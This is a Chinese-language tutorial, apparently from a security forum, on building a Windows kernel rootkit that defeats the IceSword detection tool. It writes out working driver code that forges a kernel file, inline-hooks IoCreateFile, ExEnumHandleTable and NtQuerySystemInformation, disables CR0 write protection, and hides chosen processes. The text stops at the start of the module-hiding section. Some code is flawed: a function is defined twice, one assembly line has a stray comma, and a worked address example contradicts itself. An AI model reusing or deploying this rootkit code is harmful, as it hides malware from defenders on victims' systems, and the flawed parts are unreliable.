利用伪造内核文件来绕过IceSword的检测

文章分为八个部分:

                一、为什么需要伪造内核
                二、伪造内核文件
                三、隐藏进程
                四、隐藏内核模块
                五、隐藏服务
                六、隐藏注册表
                七、隐藏文件
                八、关于端口

另:建议先看看最后那些参考文章。


一、为什么需要伪造内核:

    IceSword(以下简称IS)为了防止一些关键系统函数(包括所有服务中断表中的函数以及IS驱动部分要使用到的一些关键函数)被 patch,它直接读取内核文件(以下简称“ntoskrnl . exe”),然后自己分析ntoskrnl . exe的PE结构来获取关键系统函数的原始代码并且把当前内核中所有的关键系统函数还原为windows默认状态,这样保证了IS使用到的函数不被patch过。也许你会想如果我们把还原后的函数再进行patch不还是能躲的过去吗?笔者也试过,还专门写了ring0的Timer来不停的patch自己想hook的函数。结果IS棋高一筹,在对所有的关键系统函数进行还原以后,IS每次调用这些函数前都会先把这些函数还原一次。这样还是能保证IS自己使用到的关键系统函数不被patch。也许你还会想缩小Timer的时间间隔,以致于IS对这些函数进行还原后,这些函数马上又被我们patch,这样IS再调用这些函数时不还是执行了我们patch过的函数。这种想法粗略看起来可以,但你仔细一想就知道是不行的。

    治病还是得治本,也许你想过不如直接修改ntoskrnl . exe文件内容,使得IS一开始读入的就已经是我们patch过得函数内容,这样不就躲过去了。这种想法有两个很大的副作用:

     1 、在通常的默认情况下,windows的系统文件保护是打开的,要停止这种系统文件保护要付出很大的代价,有可能需要重启。

     2 、就算你停止了系统文件保护,也成功修改了ntoskrnl . exe,但是你不能保证系统每次都能正常关机
       假如系统非法关机重启,由于你还来未对ntoskrnl . exe进行还原,此时会发生什么情况我也就不多说了。

    而伪造内核文件就很好的避免了上面谈的两大副作用。主要处理下面三个点:

     1 、截获并修改IS打开ntoskrnl . exe消息,使它指向我要伪造的内核文件(假设为“otoskrnl . exe”)

     2 、在内核文件中定位我们要修改的数据。

     3 、隐藏我们伪造的“otoskrnl . exe” , 这点请看本文的第七部分。



二、    伪造内核文件:

先说一下本文hook函数的方式:

     1 、取该函数起始地址的前六个字节内容保留在 unsigned char  resume [ 6 ] 中。

     2 、把构造的两条指令push xxxxxxxx(我们自己构造的函数地址) ret 保留到 unsigned char  crackcode [ 6 ] (这两条指令刚好六个字节)中。

     3 、把该函数起始址的 6 个字节替换成crackcode [ 6 ] 的内容。这样系统调用该函数时就会先跳到xxxxxxxx地址去执行我们构造的函数。

    而我们构造的xxxxxxxx函数的主要结构如下:

     1 、把我们hook的那个函数起始的前 6 个字节用resume [ 6 ] 内容进行还原。

     2 、对传递的程序参数进行处理等。

     3 、调用被还原后的函数。

     4 、此时可以处理函数返回后的数据等。

     5 、把还原后的那个函数的起始地址前 6 个字节再用crackcode [ 6 ] 内容进行替换。

     6 、返回。


    IS是通过IoCreateFile函数来打开ntoskrnl . exe,因此我们只要hook这个函数,并检查其打开的文件名,如果是打开 ntoskrnl . exe的话,我们把文件名替换成otoskrnl . exe再扔回去就OK了。这样所有针对于ntoskrnl . exe文件的操作都会指向otoskrnl . exe ,  当然前提是你在进入驱动前记得先把ntoskrnl . exe在原目录下复制一份并命名为otoskrnl . exe。

    关于我们要修改的数据在ntoskrnl . exe中偏移的算法也很简单,这里给出公式如下:

    函数在中文件偏移=当前函数在内存中的地址 - 当前函数所在驱动模块的起始地址

    举个例子来说,假设IoCreateFile在内核中的内存地址是 0x8056d1234 ,由于它是在内存中ntoskrnl . exe模块中,假设ntoskrnl . exe起始地址是 0x8045d000 。那么IoCreateFile在磁盘上的ntoskrnl . exe文件中的偏移就是  0x8056d123 - 0x8045d000 = 0x110123 了。

    再进行详细点说明:假设你对IoCreateFile函数进行了patch,使得该函数起始地址的 6 前六节的数据XXXXXX变成了 YYYYYY。那么你只要打开otoskrnl . exe,把文件偏移调整到上面所说的 0x110123 处,在写入 6 个字节的数据YYYYYY。那么当IS 打开otoskrnl . exe的话,读出的数据就是YYYYYY了!

    下面的代码实现两个功能,一个功能就是hook了IoCreateFile函数,使的所有指向ntoskrnl . exe的操作都指向 otoskrnl . exe。另外一个功能就是进行伪造内核(函数RepairNtosFile (  DWORD FunctionOffset ,  DWORD RepairDataPtr ) ),其中FunctionOffset参数内容就是我们要hook的函数在内存中的地址。RepairDataPtr是指向字符crackcode [ 6 ] 第一个字节的指针。主要功能就是先把要hook的函数地址在otoskrnl . exe文件中进行定位,然后再把 crackcode [ 6 ] 内容写进去。
代码

    1.  #include  "ntddk.h"   
    2.  #include  "stdarg.h"   
    3.  #include  "stdio.h"   
    4.  #include  "ntiologc.h"   
    5.  #include  "string.h"   
    6.   
   7.  #define DWORD  unsigned long   
    8.  #define WORD  unsigned short   
    9.  #define BOOL  unsigned long   
   10.   
  11.  PCWSTR    NTOSKRNL = L "ntoskrnl.exe"  
   12.   
  13.  unsigned char  ResumCodeIoCreateFile [ 6 ];   
   14.  unsigned char  CrackCodeIoCreateFile [ 6 ];   
   15.   
  16.  typedef  NTSTATUS  ( * IOCREATEFILE  )(   
   17.   
  18.    OUT PHANDLE                FileHandle ,   
   19.    IN ACCESS_MASK            DesiredAccess ,   
   20.    IN POBJECT_ATTRIBUTES            ObjectAttributes ,   
   21.    OUT PIO_STATUS_BLOCK            IoStatusBlock ,   
   22.    IN PLARGE_INTEGER            AllocationSize OPTIONAL ,   
   23.    IN ULONG                FileAttributes ,   
   24.    IN ULONG                ShareAccess ,   
   25.    IN ULONG                Disposition ,   
   26.    IN ULONG                CreateOptions ,   
   27.    IN PVOID                EaBuffer OPTIONAL ,   
   28.    IN ULONG                EaLength ,   
   29.    IN CREATE_FILE_TYPE            CreateFileType ,   
   30.    IN PVOID                ExtraCreateParameters OPTIONAL ,   
   31.    IN ULONG                Options  );   
   32.   
  33.  IOCREATEFILE    OldIoCreateFile ;   
   34.   
  35.  DWORD GetFunctionAddr (  IN PCWSTR FunctionName )   
   36.  {   
   37.      UNICODE_STRING UniCodeFunctionName ;   
   38.   
  39.              RtlInitUnicodeString ( & UniCodeFunctionName ,  FunctionName  );   
   40.              return  ( DWORD ) MmGetSystemRoutineAddress ( & UniCodeFunctionName  );       
   41.   
  42.  }   
   43.   
  44.  NTSTATUS RepairNtosFile (  DWORD FunctionOffset ,  DWORD RepairDataPtr )   
   45.  {   
   46.      NTSTATUS Status ;       
   47.      HANDLE FileHandle ;   
   48.      OBJECT_ATTRIBUTES FObject ;   
   49.      IO_STATUS_BLOCK IOSB ;   
   50.      UNICODE_STRING    FileName ;   
   51.      LARGE_INTEGER NtosFileOffset ;   
   52.   
  53.                  RtlInitUnicodeString  (    
   54.                              & FileName ,    
   55.                              L "\\SystemRoot\\system32\\otoskrnl.exe"  );   
   56.   
  57.                  InitializeObjectAttributes  (   
   58.                                   & FObject ,   
   59.                                   & FileName ,   
   60.                                   OBJ_KERNEL_HANDLE ,   
   61.                                   NULL ,   
   62.                                   NULL );   
   63.                  Status  =  ZwCreateFile (   
   64.                              & FileHandle ,   
   65.                              FILE_WRITE_DATA + FILE_WRITE_ATTRIBUTES + FILE_WRITE_EA ,   
   66.                              & FObject ,   
   67.                              & IOSB ,   
   68.                              NULL ,   
   69.                              FILE_ATTRIBUTE_NORMAL ,   
   70.                             0 ,   
   71.                              FILE_OPEN ,   
   72.                              FILE_NON_DIRECTORY_FILE ,   
   73.                              NULL ,   
   74.                             0   
  75.                               );   
   76.                  if  (  Status  !=  STATUS_SUCCESS  )   
   77.                  {   
   78.                      return  Status ;   
   79.                  }   
   80.   
  81.                  //下面计算出函数在otoskrnl.exe中的偏移,NtoskrnlBase就是   
   82.                  //Ntoskrnl.exe在内存中的起始地址,在第四部分隐藏内核模块   
   83.                  //时会提到它的获取方法。   
   84.   
  85.                  NtosFileOffset . QuadPart  =  FunctionOffset  -  NtoskrnlBase ;    
   86.   
  87.                  Status  =  ZwWriteFile (   
   88.                              FileHandle ,   
   89.                              NULL ,   
   90.                              NULL ,   
   91.                              NULL ,   
   92.                              & IOSB ,   
   93.                              ( unsigned char  *) RepairDataPtr ,   
   94.                             0x6 ,   
   95.                              & NtosFileOffset ,   
   96.                              NULL );   
   97.                  if  (  Status  !=  STATUS_SUCCESS  )   
   98.                  {   
   99.                      return  Status ;   
  100.                  }   
  101.                  Status  =  ZwClose (  FileHandle  );   
  102.                  if  (  Status  !=  STATUS_SUCCESS  )   
  103.                  {   
  104.                      return  Status ;   
  105.                  }   
  106.                  return  STATUS_SUCCESS ;       
  107.   
 108.  }   
  109.   
 110.  NTSTATUS NewIoCreateFile  (   
  111.   
 112.    OUT PHANDLE                FileHandle ,   
  113.    IN ACCESS_MASK            DesiredAccess ,   
  114.    IN POBJECT_ATTRIBUTES            ObjectAttributes ,   
  115.    OUT PIO_STATUS_BLOCK            IoStatusBlock ,   
  116.    IN PLARGE_INTEGER            AllocationSize OPTIONAL ,   
  117.    IN ULONG                FileAttributes ,   
  118.    IN ULONG                ShareAccess ,   
  119.    IN ULONG                Disposition ,   
  120.    IN ULONG                CreateOptions ,   
  121.    IN PVOID                EaBuffer OPTIONAL ,   
  122.    IN ULONG                EaLength ,   
  123.    IN CREATE_FILE_TYPE            CreateFileType ,   
  124.    IN PVOID                ExtraCreateParameters OPTIONAL ,   
  125.    IN ULONG                Options  )   
  126.   
 127.  {   
  128.      NTSTATUS Status ;   
  129.      PCWSTR IsNtoskrnl  =  NULL ;   
  130.      PCWSTR FileNameaddr = NULL ;   
  131.   
 132.          _asm     //对IoCreateFile函数进行还原   
  133.          {   
  134.              pushad   
  135.              mov edi ,  OldIoCreateFile   
  136.              mov eax ,  dword ptr ResumCodeIoCreateFile [ 0 ]   
  137.              mov  [ edi ],  eax   
  138.              mov ax ,  word ptr ResumCodeIoCreateFile [ 4 ]   
  139.              mov  [ edi + 4 ],  ax   
  140.              popad   
  141.          }    
  142.   
 143.            
 144.          _asm     //获取要打开的文件名地址   
  145.          {   
  146.              pushad    
  147.              mov edi ,  ObjectAttributes   
  148.              mov eax , [ edi + 8 ]   
  149.              mov edi , [ eax + 4 ]   
  150.              mov FileNameaddr ,  edi   
  151.              popad   
  152.          }   
  153.   
 154.          IsNtoskrnl  =  wcsstr (  FileNameaddr ,  NTOSKRNL  );  //判断是否时打开ntoskrnl.exe   
  155.   
 156.          if  (  IsNtoskrnl  !=  NULL  )   
  157.          {   
  158.              _asm     //是的话,则把ntoskrnl.exe替换成otoskrnl.exe   
  159.              {   
  160.                  pushad   
  161.                  mov edi ,  IsNtoskrnl   
  162.                  mov  [ edi ],  0x006F   
 163.                  popad   
  164.              }   
  165.          }   
  166.   
 167.          Status  =  OldIoCreateFile  (   
  168.                
 169.                          FileHandle ,   
  170.                          DesiredAccess ,   
  171.                          ObjectAttributes ,   
  172.                          IoStatusBlock ,   
  173.                          AllocationSize OPTIONAL ,   
  174.                          FileAttributes ,   
  175.                          ShareAccess ,   
  176.                          Disposition ,   
  177.                          CreateOptions ,   
  178.                          EaBuffer OPTIONAL ,   
  179.                          EaLength ,   
  180.                          CreateFileType ,   
  181.                          ExtraCreateParameters OPTIONAL ,   
  182.                          Options  );   
  183.   
 184.          _asm  //把还原后的代码又替换成我们伪造的代码   
  185.              {   
  186.                  pushad   
  187.                  mov edi ,  OldIoCreateFile   
  188.                  mov eax ,  dword ptr CrackCodeIoCreateFile [ 0 ]   
  189.                  mov  [ edi ],  eax   
  190.                  mov ax ,  word ptr CrackCodeIoCreateFile [ 4 ]   
  191.                  mov  [ edi + 4 ],  ax   
  192.                  popad   
  193.              }           
  194.          return  Status ;   
  195.   
 196.  }   
  197.   
 198.   
 199.  NTSTATUS PatchIoCreateFile ()   
  200.  {   
  201.      NTSTATUS Status ;   
  202.                
 203.              OldIoCreateFile  = (  IOCREATEFILE  )  GetFunctionAddr ( L "IoCreateFile" );   
  204.   
 205.              if  (  OldIoCreateFile  ==  NULL  )   
  206.              {   
  207.                  DbgPrint ( "Get IoCreateFile Addr Error!!" );   
  208.                  return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
  209.              }   
  210.   
 211.              _asm   //关中断   
  212.                 {   
  213.                  CLI                    
  214.                  MOV    EAX ,  CR0        
  215.                  AND EAX ,  NOT  10000H     
 216.                  MOV    CR0 ,  EAX           
  217.              }   
  218.              _asm   
  219.              {   
  220.                  pushad   
  221.                  //获取 IoCreateFile 函数的地址并保留该函数的起始六个字节   
  222.                  mov edi ,  OldIoCreateFile   
  223.                  mov eax , [ edi ]   
  224.                  mov dword ptr ResumCodeIoCreateFile [ 0 ],  eax   
  225.                  mov ax , [ edi + 4 ]   
  226.                  mov word  ptr ResumCodeIoCreateFile [ 4 ],  ax   
  227.                    
 228.                  //构造要替换的代码,使得系统调用函数时跳到我们构造的NewIoCreateFile去执行   
  229.                  mov byte ptr CrackCodeIoCreateFile [ 0 ],  0x68   
 230.                  lea edi ,  NewIoCreateFile   
  231.                  mov dword ptr CrackCodeIoCreateFile [ 1 ],  edi   
  232.                  mov byte ptr CrackCodeIoCreateFile [ 5 ],  0xC3   
 233.   
 234.                  //把构造好的代码进心替换   
  235.                  mov edi ,  OldIoCreateFile   
  236.                  mov eax ,  dword ptr CrackCodeIoCreateFile [ 0 ]   
  237.                  mov dword ptr [ edi ],  eax   
  238.                  mov ax ,  word ptr CrackCodeIoCreateFile [ 4 ]   
  239.                  mov word ptr [ edi + 4 ],  ax   
  240.                  popad   
  241.              }   
  242.   
 243.              _asm  //开中断   
  244.              {   
  245.                  MOV    EAX ,  CR0          
  246.                  OR    EAX ,  10000H               
 247.                  MOV    CR0 ,  EAX                 
  248.                  STI                       
  249.              }   
  250.   
 251.              Status  =  RepairNtosFile (   
  252.                              ( DWORD ) OldIoCreateFile ,   
  253.                              ( DWORD )(& CrackCodeIoCreateFile ));   
  254.   
 255.              return  Status ;   
  256.   
 257.  }   

     上面给出的代码中,有些是公共使用的部分,如:GetFunctionAddr () (用来获取函数地址)以及RepairNtosFile  () (功能上文已经介绍)函数。为节省版面,在下面的代码中将直接对其进行引用,而不再贴出它们的代码。下面的代码将不会再include头文件。而是直接定义自己所使用到的变量。其中include的投文件与上面的代码相同,另外本文中所有的例子都没有给出Unloaded例程(浪费版面),自己看着写了另外,本文贴出的所有代码,除了第六部分代码只在XP下测试通过,其他代码均再 2K 及XP下测试并通过。笔者在写这些代码时虽然兼顾到了 2K3 ,但是笔者并没有在 2K3 中测试过这些代码。这些代码中夹杂了一些汇编指令。这些汇编指令产生主要有两种原因:一是当时的我认为某些东西用汇编指令来表示非常直观,如还原与替换函数代码那个部分。二是在分析一些数据时,由于眼前面对的是纯 16 进制的数据,于是也没多想咔咔就用汇编写了一个循环下来。如果给你阅读代码造成了不便,笔者在这表示歉意。


三、    隐藏进程

    对付IS枚举进程ID的思路是这样的,hook系统函数ExEnumHandleTable,使它先运行我们指定的函数 NewExEnumHandleTable,在NewExEnumHandleTable函数中,我们先获取它的回调函数参数Callback所指向的函数地址,把它所指向的函数地址先放到OldCallback中,然后用我们构造的新的回调函数FilterCallback去替换掉原来的 Callback。这样该函数在执行回调函数时就会先调用我们给它的FilterCallback回调函数。在我们设计的FilterCallback 中,判断当前进程ID是否时我们要隐藏的进程ID,不是的话则把参数传给OldCallback去执行,如果是的话则直接 return 。这样就起到隐藏进程的作用。

    以上是对付IS的,对于应付windows进程管理的方法,与sinister使用的方法大体相同,不过有些不同。sinister是通过比较进程名来确定自己要隐藏的进程。这种方法对于隐藏要启动两个和两个以上相同名字的进程比较可取,但问题是如果你只是要隐藏一个进程的话。那么这个方法就显得不完美了。完全可以通过直接比较进程ID来确定自己要隐藏的进程。建议不到不得以的时候尽量不要使用比较文件名的方法,太影响效率。

    下面的代码中,GetProcessID () 函数是用来从注册表中读取要隐藏的进程ID,当然首先你要在注册表设置这个值。用注册表还是很方便的。

    PatchExEnumHandleTable () 函数是通过hook系统函数ExEnumHandleTable函数实现在IS中隐藏目标进程,PatchNtQuerySystemInformation  () 函数是通过hook系统函数NtQuerySystemInformation并通过比较进程ID的方法实现隐藏进程。

 
代码

    1.  HANDLE ProtectID ;   
    2.  unsigned char  ResumCodeExEnumHandleTable [ 6 ];   
    3.  unsigned char  CrackCodeExEnumHandleTable [ 6 ];   
    4.  unsigned char  ResumCodeNtQuerySystemInformation [ 6 ];   
    5.  unsigned char  CrackCodeNtQuerySystemInformation [ 6 ];   
    6.   
   7.  typedef  NTSTATUS  (* NTQUERYSYSTEMINFORMATION )(   
    8.   
   9.    IN ULONG                        SystemInformationClass ,   
   10.    OUT PVOID                        SystemInformation ,   
   11.    IN ULONG                        SystemInformationLength ,   
   12.    OUT PULONG                        ReturnLength OPTIONAL   );   
   13.   
  14.  NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation ;   
   15.   
  16.  typedef  VOID  (* EXENUMHANDLETABLE )     
   17.  (     
   18.      PULONG        HandleTable ,     
   19.      PVOID        Callback ,     
   20.      PVOID        Param ,     
   21.      PHANDLE        Handle  OPTIONAL    
   22.  );   
   23.   
  24.  EXENUMHANDLETABLE    OldExEnumHandleTable ;   
   25.   
  26.  typedef  BOOL  (* EXENUMHANDLETABLECALLBACK )   
   27.  (   
   28.      DWORD   HANDLE_TALBE_ENTRY ,   
   29.      DWORD    PID ,   
   30.      PVOID    Param   
   31.  );   
   32.   
  33.  EXENUMHANDLETABLECALLBACK    OldCallback ;   
   34.   
  35.  NTSTATUS GetProcessID  (    
   36.              IN PUNICODE_STRING theRegistryPath   
   37.              )   
   38.  {   
   39.      OBJECT_ATTRIBUTES ObjectAttributes ;   
   40.      NTSTATUS Status ;   
   41.   
  42.      HANDLE KeyHandle ;   
   43.      PHANDLE Phandle ;   
   44.      PKEY_VALUE_PARTIAL_INFORMATION valueInfoP ;   
   45.      ULONG valueInfoLength , returnLength ;   
   46.   
  47.      UNICODE_STRING UnicodeProcIDreg ;   
   48.   
  49.   
  50.              InitializeObjectAttributes  (    
   51.                              & ObjectAttributes ,    
   52.                              theRegistryPath ,    
   53.                              OBJ_CASE_INSENSITIVE ,    
   54.                              NULL ,    
   55.                              NULL  );    
   56.   
  57.              Status  =  ZwOpenKey  (    
   58.                          & KeyHandle ,    
   59.                          KEY_ALL_ACCESS ,    
   60.                          & ObjectAttributes  );   
   61.   
  62.              if  ( Status  !=  STATUS_SUCCESS )   
   63.              {   
   64.                  DbgPrint ( "ZwOpenKey Wrong\n" );   
   65.                  return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
   66.              }   
   67.   
  68.              RtlInitUnicodeString  (    
   69.                          & UnicodeProcIDreg ,    
   70.                          L "ProcessID"  );   
   71.   
  72.              valueInfoLength  =  sizeof ( KEY_VALUE_PARTIAL_INFORMATION );   
   73.   
  74.              valueInfoP  = ( PKEY_VALUE_PARTIAL_INFORMATION )  ExAllocatePool  (   
   75.                                              NonPagedPool ,    
   76.                                              valueInfoLength  );   
   77.              Status  =  ZwQueryValueKey  (    
   78.                              KeyHandle ,    
   79.                              & UnicodeProcIDreg ,    
   80.                              KeyValuePartialInformation ,    
   81.                              valueInfoP ,    
   82.                              valueInfoLength ,    
   83.                              & returnLength  );   
   84.   
  85.              if  ( Status  !=  STATUS_SUCCESS )   
   86.              {   
   87.                  DbgPrint ( "ZwOpenKey Wrong\n" );   
   88.                  return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
   89.              }   
   90.   
  91.              Phandle  = ( PHANDLE )( valueInfoP -> Data );   
   92.   
  93.              ProtectID  = * Phandle ;   
   94.   
  95.              ZwClose ( KeyHandle );   
   96.   
  97.              return  STATUS_SUCCESS ;   
   98.   
  99.  }   
  100.   
 101.  BOOL FilterCallback  (   
  102.              DWORD   HANDLE_TALBE_ENTRY ,   
  103.              DWORD    PID ,   
  104.              PVOID    Param  )   
  105.  {   
  106.   
 107.          if  (  PID  != ( DWORD ) ProtectID )     //判断是否是我们要隐藏的进程   
  108.          {   
  109.              return  OldCallback  (   
  110.                          HANDLE_TALBE_ENTRY ,   
  111.                          PID ,   
  112.                          Param  );   
  113.          }   
  114.          else  
  115.          {   
  116.              return  FALSE ;  //是的话直接返回   
  117.          }   
  118.  }   
  119.   
 120.  BOOL FilterCallback  (   
  121.              DWORD   HANDLE_TALBE_ENTRY ,   
  122.              DWORD    PID ,   
  123.              PVOID    Param  )   
  124.  {   
  125.   
 126.          if  (  PID  != ( DWORD ) ProtectID )     //判断是否是我们要隐藏的进程   
  127.          {   
  128.              return  OldCallback  (   
  129.                          HANDLE_TALBE_ENTRY ,   
  130.                          PID ,   
  131.                          Param  );   
  132.          }   
  133.          else  
  134.          {   
  135.              return  FALSE ;  //是的话直接返回   
  136.          }   
  137.  }   
  138.   
 139.   
 140.   
 141.  VOID NewExEnumHandleTable (   
  142.                  PULONG        HandleTable ,     
  143.                  PVOID        Callback ,     
  144.                  PVOID        Param ,     
  145.                  PHANDLE        Handle  OPTIONAL  )       
  146.  {   
  147.   
 148.          OldCallback  =  Callback ;  //把Callback参数给OldCallback进行保留   
  149.   
 150.          Callback  =  FilterCallback ;  //用FilterCallback替换调原来的Callback   
  151.   
 152.          _asm   //还原   
  153.          {   
  154.              pushad   
  155.              mov edi ,  OldExEnumHandleTable   
  156.              mov eax ,  dword ptr ResumCodeExEnumHandleTable [ 0 ]   
  157.              mov  [ edi ],  eax   
  158.              mov ax ,  word ptr ResumCodeExEnumHandleTable [ 4 ]   
  159.              mov  [ edi + 4 ],  ax   
  160.              popad   
  161.          }   
  162.   
 163.              OldExEnumHandleTable  (   
  164.                          HandleTable ,     
  165.                          Callback ,     
  166.                          Param ,     
  167.                          Handle  OPTIONAL  );   
  168.          _asm  //替换   
  169.          {   
  170.              pushad   
  171.              mov edi ,  OldExEnumHandleTable   
  172.              mov eax ,  dword ptr CrackCodeExEnumHandleTable [ 0 ]   
  173.              mov  [ edi ],  eax   
  174.              mov ax ,  word ptr CrackCodeExEnumHandleTable [ 4 ]   
  175.              mov  [ edi + 4 ],  ax   
  176.              popad   
  177.          }   
  178.          return  ;   
  179.  }   
  180.   
 181.  NTSTATUS PatchExEnumHandleTable ()   
  182.  {   
  183.      NTSTATUS Status ;   
  184.   
 185.               OldExEnumHandleTable  = ( EXENUMHANDLETABLE )  GetFunctionAddr ( L "ExEnumHandleTable" );   
  186.   
 187.               if  (  OldExEnumHandleTable  ==  NULL  )   
  188.               {   
  189.                   DbgPrint ( "Get ExEnumHandleTable Addr Error!!" );   
  190.                   return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
  191.               }   
  192.   
 193.               _asm     //关中断   
  194.                 {   
  195.                  CLI                       
  196.                  MOV    EAX ,  CR0      
  197.                  AND EAX ,  NOT  10000H    
 198.                  MOV    CR0 ,  EAX     
  199.              }   
  200.               _asm   
  201.              {   
  202.                  pushad   
  203.                  //获取ExEnumHandleTable函数的地址并保留该函数的起始六个字节   
  204.                  mov edi ,  OldExEnumHandleTable   
  205.                  mov eax , [ edi ]   
  206.                  mov dword ptr ResumCodeExEnumHandleTable [ 0 ],  eax   
  207.                  mov ax , [ edi + 4 ]   
  208.                  mov word  ptr ResumCodeExEnumHandleTable [ 4 ],  ax   
  209.                    
 210.                  //构造要替换的代码,使得系统调用该函数时跳到我们构造的NewExEnumHandleTable去执行   
  211.                  mov byte ptr CrackCodeExEnumHandleTable [ 0 ],  0x68   
 212.                  lea edi ,  NewExEnumHandleTable   
  213.                  mov dword ptr CrackCodeExEnumHandleTable [ 1 ],  edi   
  214.                  mov byte ptr CrackCodeExEnumHandleTable [ 5 ],  0xC3   
 215.   
 216.                  //把构造好的代码进心替换   
  217.                  mov edi ,  OldExEnumHandleTable   
  218.               ,     mov eax ,  dword ptr CrackCodeExEnumHandleTable [ 0 ]   
  219.                  mov dword ptr [ edi ],  eax   
  220.                  mov ax ,  word ptr CrackCodeExEnumHandleTable [ 4 ]   
  221.                  mov word ptr [ edi + 4 ],  ax   
  222.                  popad   
  223.              }   
  224.   
 225.               _asm  //开中断   
  226.              {   
  227.                  MOV    EAX ,  CR0           
  228.                  OR    EAX ,  10000H      
 229.                  MOV    CR0 ,  EAX              
  230.                  STI             
  231.              }   
  232.                
 233.              Status  =  RepairNtosFile (   
  234.                          ( DWORD ) OldExEnumHandleTable ,   
  235.                          ( DWORD )(& CrackCodeExEnumHandleTable ) );   
  236.   
 237.              return  Status ;   
  238.  }   
  239.   
 240.  NTSTATUS NewNtQuerySystemInformation (   
  241.   
 242.    IN ULONG        SystemInformationClass ,   
  243.    OUT PVOID        SystemInformation ,   
  244.    IN ULONG        SystemInformationLength ,   
  245.    OUT PULONG        ReturnLength OPTIONAL  )   
  246.  {   
  247.      NTSTATUS Status ;   
  248.      DWORD     Bprocess ;   
  249.   
 250.          _asm     
  251.          {   
  252.              pushad   
  253.              mov edi ,  OldNtQuerySystemInformation   
  254.              mov eax ,  dword ptr ResumCodeNtQuerySystemInformation [ 0 ]   
  255.              mov  [ edi ],  eax   
  256.              mov ax ,  word ptr ResumCodeNtQuerySystemInformation [ 4 ]   
  257.              mov  [ edi + 4 ],  ax   
  258.              popad   
  259.          }   
  260.   
 261.          Status = OldNtQuerySystemInformation  (    
  262.                              SystemInformationClass ,    
  263.                              SystemInformation ,    
  264.                              SystemInformationLength ,    
  265.                              ReturnLength OPTIONAL  );   
  266.          _asm    
  267.          {   
  268.              pushad   
  269.              mov edi ,  OldNtQuerySystemInformation   
  270.              mov eax ,  dword ptr CrackCodeNtQuerySystemInformation [ 0 ]   
  271.              mov  [ edi ],  eax   
  272.              mov ax ,  word ptr CrackCodeNtQuerySystemInformation [ 4 ]   
  273.              mov  [ edi + 4 ],  ax   
  274.              popad   
  275.          }   
  276.   
 277.          if  (  Status  !=  STATUS_SUCCESS  ||  SystemInformationClass != 5  )   
  278.          {   
  279.              return  Status ;    
  280.          }   
  281.   
 282.          _asm   
  283.          {   
  284.              pushad   
  285.   
 286.              mov ecx ,  ProtectID   
  287.              mov edi ,  SystemInformation   
  288.   
 289.  ProcessListNEnd :   
  290.              mov Bprocess ,  edi   
  291.              mov eax , [ edi ]   
  292.              test eax ,  eax   
  293.              jz ProcessListEnd   
  294.              add edi ,  eax   
  295.   
 296.              mov eax , [ edi + 0x44 ]   
  297.              cmp eax ,  ecx   
  298.              jz FindOut   
  299.              jmp ProcessListNEnd   
  300.  FindOut :   
  301.              mov ebx , [ edi ]   
  302.              test ebx ,  ebx   
  303.              jz listend   
  304.              mov eax ,  Bprocess   
  305.              mov edx , [ eax ]   
  306.              add ebx ,  edx   
  307.              mov  [ eax ],  ebx   
  308.              jmp hideOK   
  309.   
 310.  listend :   
  311.              mov eax ,     Bprocess   
  312.              mov  [ eax ],   0   
 313.  hideOK :       
  314.                
 315.  ProcessListEnd :   
  316.   
 317.              popad   
  318.          }   
  319.          return  Status ;   
  320.  }   
  321.   
 322.   
 323.   
 324.   
 325.  NTSTATUS PatchNtQuerySystemInformation  ()   
  326.  {   
  327.      NTSTATUS Status ;   
  328.                
 329.              OldNtQuerySystemInformation  = ( NTQUERYSYSTEMINFORMATION )  GetFunctionAddr ( L "NtQuerySystemInformation" );   
  330.   
 331.              if  (  OldNtQuerySystemInformation  ==  NULL  )   
  332.              {   
  333.                  DbgPrint ( "Get NtQuerySystemInformation Addr Error!!" );   
  334.                  return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
  335.              }   
  336.   
 337.              _asm     //关中断   
  338.                 {   
  339.                  CLI           
  340.                  MOV    EAX ,  CR0           
  341.                  AND EAX ,  NOT  10000H    
 342.                  MOV    CR0 ,  EAX           
  343.              }   
  344.              _asm   
  345.              {   
  346.                  pushad   
  347.                  //获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节   
  348.                  mov edi ,  OldNtQuerySystemInformation   
  349.                  mov eax , [ edi ]   
  350.                  mov dword ptr ResumCodeNtQuerySystemInformation [ 0 ],  eax   
  351.                  mov ax , [ edi + 4 ]   
  352.                  mov word  ptr ResumCodeNtQuerySystemInformation [ 4 ],  ax   
  353.                    
 354.                  //构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行   
  355.                  mov byte ptr CrackCodeNtQuerySystemInformation [ 0 ],  0x68   
 356.                  lea edi ,  NewNtQuerySystemInformation   
  357.                  mov dword ptr CrackCodeNtQuerySystemInformation [ 1 ],  edi   
  358.                  mov byte ptr CrackCodeNtQuerySystemInformation [ 5 ],  0xC3   
 359.   
 360.                  //把构造好的代码进心替换   
  361.                  mov edi ,  OldNtQuerySystemInformation   
  362.                  mov eax ,  dword ptr CrackCodeNtQuerySystemInformation [ 0 ]   
  363.                  mov dword ptr [ edi ],  eax   
  364.                  mov ax ,  word ptr CrackCodeNtQuerySystemInformation [ 4 ]   
  365.                  mov word ptr [ edi + 4 ],  ax   
  366.                  popad   
  367.              }   
  368.              _asm  //开中断   
  369.              {   
  370.                  MOV    EAX ,  CR0         
  371.                  OR    EAX ,  10000H             
 372.                  MOV    CR0 ,  EAX                  
  373.                  STI                       
  374.              }   
  375.              Status  =  RepairNtosFile (   
  376.                              ( DWORD ) OldNtQuerySystemInformation ,   
  377.                              ( DWORD )(& CrackCodeNtQuerySystemInformation ) );   
  378.   
 379.              return  Status ;   
  380.   
 381.  }   

四、隐藏内核模块

    对于内核模块,我原以为IS会通过获取内核变量PsLoadedModuleList,然后在通过这个来遍历所有的内核模块。假设此时获得结果  1 。通过调用函数NtQuerySystemInformation,参数SystemModuleInformation,假设此时获得结果 2 。再把结果 1 与结果 2 进行比较,这样就会发现被隐藏的模块。但事实证明我想的太复杂了。而IS只进行了获取结果 2 的过程。而没有去执行获取结果 1 的过程。

    下面的代码可以在IS下隐藏自己的内核模块,主要思路是,首先获取一个自己这个模块中任意函数的地址,把该地址给DriverAddr,利用 DriverAddr在上述的结果 2 中定位,通过DriverAddr肯定会大于自己这个模块的起始地址并且小于自己这个模块的结束地址来定位。
代码

